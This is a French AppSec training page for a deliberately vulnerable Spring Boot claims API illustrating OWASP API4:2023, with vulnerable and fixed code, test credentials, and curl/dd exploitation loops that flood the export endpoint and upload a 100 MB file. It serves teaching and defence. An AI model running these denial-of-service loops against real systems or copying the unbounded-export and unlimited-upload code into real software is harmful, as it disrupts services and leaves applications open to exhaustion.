AppSec|Formation Développement Sécurisé
← Retour aux cas
09
API4:2023

Unrestricted Resource Consumption

Java 17 · Spring Boot

Export sans pagination ni rate limiting. Saturation mémoire par 100 requêtes parallèles.

Cas n°9 — API4:2023 Unrestricted Resource Consumption

ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=09
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=09 -e variant=secure

Référence OWASP

API4:2023 - Unrestricted Resource Consumption https://owasp.org/API-Security/editions/2023/en/0xa4-unrestricted-resource-consumption/

Une API qui ne limite pas la quantité de ressources consommées par une requête permet à un attaquant de la saturer par des requêtes abusives : volume de données non borné, absence de rate limiting, uploads sans limite de taille.

démos vidéo

Pas de démo


Scénario métier

L'API de gestion des sinistres Assuria permet aux gestionnaires de lister, rechercher et exporter des sinistres, ainsi que d'uploader des documents justificatifs.

La base contient 500 sinistres générés au démarrage.

Utilisateurs de test

Login Mot de passe Rôle
gestionnaire gest123 GESTIONNAIRE
admin admin123 ADMIN

Endpoints

Méthode Endpoint Description
POST /api/auth/login Authentification, retourne un token JWT
GET /api/sinistres Lister les sinistres
GET /api/sinistres/export Exporter tous les sinistres en JSON
GET /api/sinistres/search Rechercher avec filtres (type, statut)
POST /api/sinistres/upload Uploader un document justificatif

Prérequis

  • JDK 17+
  • Maven 3.8+
  • curl (Linux) ou curl + PowerShell (Windows)
  • dd (Linux) ou fsutil (Windows) pour créer les fichiers de test

Version vulnérable (vulnerable/)

Lancement

cd vulnerable
mvn spring-boot:run

Le serveur démarre sur https://appsec.cc. Les 500 sinistres sont générés automatiquement.

Les 3 vulnérabilités

1. Absence de pagination

// SinistreController.java — VULNERABLE
@GetMapping("/export")
public ResponseEntity<List<Sinistre>> exportSinistres() {
    return ResponseEntity.ok(sinistreRepository.findAll());
    // 500+ enregistrements retournés d'un coup → surcharge mémoire et réseau
}

findAll() charge tous les enregistrements en mémoire JVM avant de les sérialiser. En production avec des millions de lignes, cela provoque un OutOfMemoryError.

2. Absence de rate limiting

Aucun filtre ne limite le nombre de requêtes par utilisateur. Un script peut envoyer des centaines de requêtes simultanées sans jamais recevoir de 429 Too Many Requests.

3. Uploads sans limite de taille

// SinistreController.java — VULNERABLE
@PostMapping("/upload")
public ResponseEntity<?> uploadDocument(@RequestParam("file") MultipartFile file, ...) {
    byte[] content = file.getBytes();   // charge tout en mémoire
    documentRepository.save(new Document(sinistreId, file.getOriginalFilename(), content));
    // Accepte n'importe quelle taille → sature la base H2 et la heap JVM
}
# application.yml — VULNERABLE
spring:
  servlet:
    multipart:
      max-file-size: -1    # illimité
      max-request-size: -1 # illimité

Exploitation

Étape 1 — Obtenir un token JWT

TOKEN=$(curl -s -X POST https://appsec.cc/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"login":"gestionnaire","password":"gest123"}' \
  | grep -o '"token":"[^"]*"' | sed 's/"token":"//;s/"//')

echo "Token : $TOKEN"

Exploit 1 — Saturation par requêtes d'export parallèles

# 50 requêtes simultanées, chacune charge 500+ sinistres
for i in $(seq 1 50); do
  curl -s -o /dev/null -w "Req $i : %{http_code} (%{time_total}s)\n" \
    -H "Authorization: Bearer $TOKEN" \
    https://appsec.cc/api/sinistres/export &
done
wait

Résultat observé : toutes les requêtes aboutissent (HTTP 200), la latence augmente, la consommation mémoire de la JVM grimpe. En production, l'application peut crasher avec java.lang.OutOfMemoryError.

Exploit 2 — Rafale de requêtes (pas de rate limiting)

# 200 requêtes en boucle — aucune ne doit être bloquée
for i in $(seq 1 200); do
  curl -s -o /dev/null -w "%{http_code} " \
    -H "Authorization: Bearer $TOKEN" \
    https://appsec.cc/api/sinistres
done

Résultat observé : 200 × HTTP 200. Pas un seul 429. Un attaquant peut envoyer des milliers de requêtes sans restriction, saturant le pool de threads Tomcat.

Exploit 3 — Upload d'un fichier de 100 MB

# Créer un fichier de 100 MB
dd if=/dev/zero of=/tmp/bigfile.bin bs=1M count=100

# L'uploader — le serveur l'accepte intégralement
curl -X POST -H "Authorization: Bearer $TOKEN" \
  -F "file=@/tmp/bigfile.bin;type=application/octet-stream" \
  -F "sinistreId=1" \
  https://appsec.cc/api/sinistres/upload

Résultat observé : HTTP 200, le fichier de 100 MB est chargé en mémoire JVM puis stocké en base H2. La base in-memory est épuisée.

Script automatisé

# Linux/Ubuntu
chmod +x exploit/dos-exploit.sh
./exploit/dos-exploit.sh

# Windows
exploit\dos-exploit.bat

Version sécurisée (secure/)

Lancement

cd secure
mvn spring-boot:run

Correctif 1 — Pagination obligatoire

// SinistreController.java — SECURISE
@GetMapping("/export")
public ResponseEntity<Page<Sinistre>> exportSinistres(
        @RequestParam(defaultValue = "0") int page,
        @RequestParam(defaultValue = "50") int size) {
    if (size > 100) size = 100;   // plafond absolu
    Pageable pageable = PageRequest.of(page, size, Sort.by("dateCreation").descending());
    return ResponseEntity.ok(sinistreRepository.findAll(pageable));
}

Spring Data ne charge que les N enregistrements de la page courante. La réponse inclut les métadonnées de pagination (totalElements, totalPages).

Vérification :

# Sans paramètre → 50 résultats max par défaut
curl -H "Authorization: Bearer $TOKEN" \
  "https://appsec.cc/api/sinistres/export"

# Navigation → page 2
curl -H "Authorization: Bearer $TOKEN" \
  "https://appsec.cc/api/sinistres/export?page=1&size=50"

# Tentative de dépasser le plafond → plafonnée à 100
curl -H "Authorization: Bearer $TOKEN" \
  "https://appsec.cc/api/sinistres/export?size=9999"

Correctif 2 — Rate limiting (token bucket)

RateLimitFilter (filter/RateLimitFilter.java) s'exécute avant le filtre JWT. Il identifie le client par son login (extrait du JWT) ou par son adresse IP en fallback.

TokenBucket (filter/TokenBucket.java) implémente l'algorithme token bucket : 100 requêtes autorisées par fenêtre de 1 minute. Au-delà, la requête reçoit 429 Too Many Requests.

Limite : 100 req/min par utilisateur
Header de réponse : X-RateLimit-Remaining
En cas de dépassement : 429 + header Retry-After: 60

Vérification — simuler un dépassement :

# Vider le bucket en 101 requêtes rapides
for i in $(seq 1 101); do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN" \
    https://appsec.cc/api/sinistres)
  echo "Req $i : $CODE"
done
# La 101e requête doit renvoyer 429

Correctif 3 — Limite sur les uploads

# application.yml — SECURISE
spring:
  servlet:
    multipart:
      max-file-size: 5MB
      max-request-size: 10MB

Spring rejette automatiquement les fichiers > 5 MB avec HTTP 413 avant même d'atteindre le contrôleur. Le contrôleur ajoute une deuxième couche de défense :

// SinistreController.java — SECURISE
@PostMapping("/upload")
public ResponseEntity<?> uploadDocument(@RequestParam("file") MultipartFile file, ...) {
    if (file.getSize() > 5 * 1024 * 1024) {
        return ResponseEntity.status(413).body(Map.of("error", "Fichier trop volumineux (max 5 MB)"));
    }
    List<String> allowedTypes = List.of("application/pdf", "image/jpeg", "image/png");
    if (!allowedTypes.contains(file.getContentType())) {
        return ResponseEntity.status(415).body(Map.of("error", "Type de fichier non autorisé"));
    }
    // ...
}

Vérification :

# Fichier trop grand → 413
dd if=/dev/zero of=/tmp/gros.bin bs=1M count=10
curl -X POST -H "Authorization: Bearer $TOKEN" \
  -F "file=@/tmp/gros.bin" -F "sinistreId=1" \
  https://appsec.cc/api/sinistres/upload
# → {"error":"Fichier trop volumineux (max 5 MB)"}

# Type non autorisé → 415
echo "test" > /tmp/test.exe
curl -X POST -H "Authorization: Bearer $TOKEN" \
  -F "file=@/tmp/test.exe;type=application/octet-stream" -F "sinistreId=1" \
  https://appsec.cc/api/sinistres/upload
# → {"error":"Type de fichier non autorisé (PDF, JPEG, PNG uniquement)"}

Correctif 4 — Timeouts et limites de connexions

# application.yml — SECURISE
server:
  tomcat:
    connection-timeout: 10000  # 10s pour établir une connexion
    max-connections: 200       # connexions simultanées maximum
    threads:
      max: 50                  # threads de traitement maximum
  mvc:
    async:
      request-timeout: 30000   # 30s de traitement maximum

Points clés à retenir

Problème Impact Correctif
Pas de pagination OutOfMemoryError, latence extrême Pageable Spring Data + plafond de taille
Pas de rate limiting Saturation CPU/threads Token bucket en filtre, 100 req/min, réponse 429
Upload illimité (config) Saturation disque/mémoire max-file-size: 5MB dans application.yml
Upload illimité (code) Contournement de la config Validation explicite dans le contrôleur
Pas de timeout Threads bloqués indéfiniment connection-timeout + max-connections Tomcat

Headers HTTP de sécurité à connaître

X-RateLimit-Remaining: 42       # requêtes restantes dans la fenêtre courante
Retry-After: 60                 # secondes à attendre avant de réessayer (429)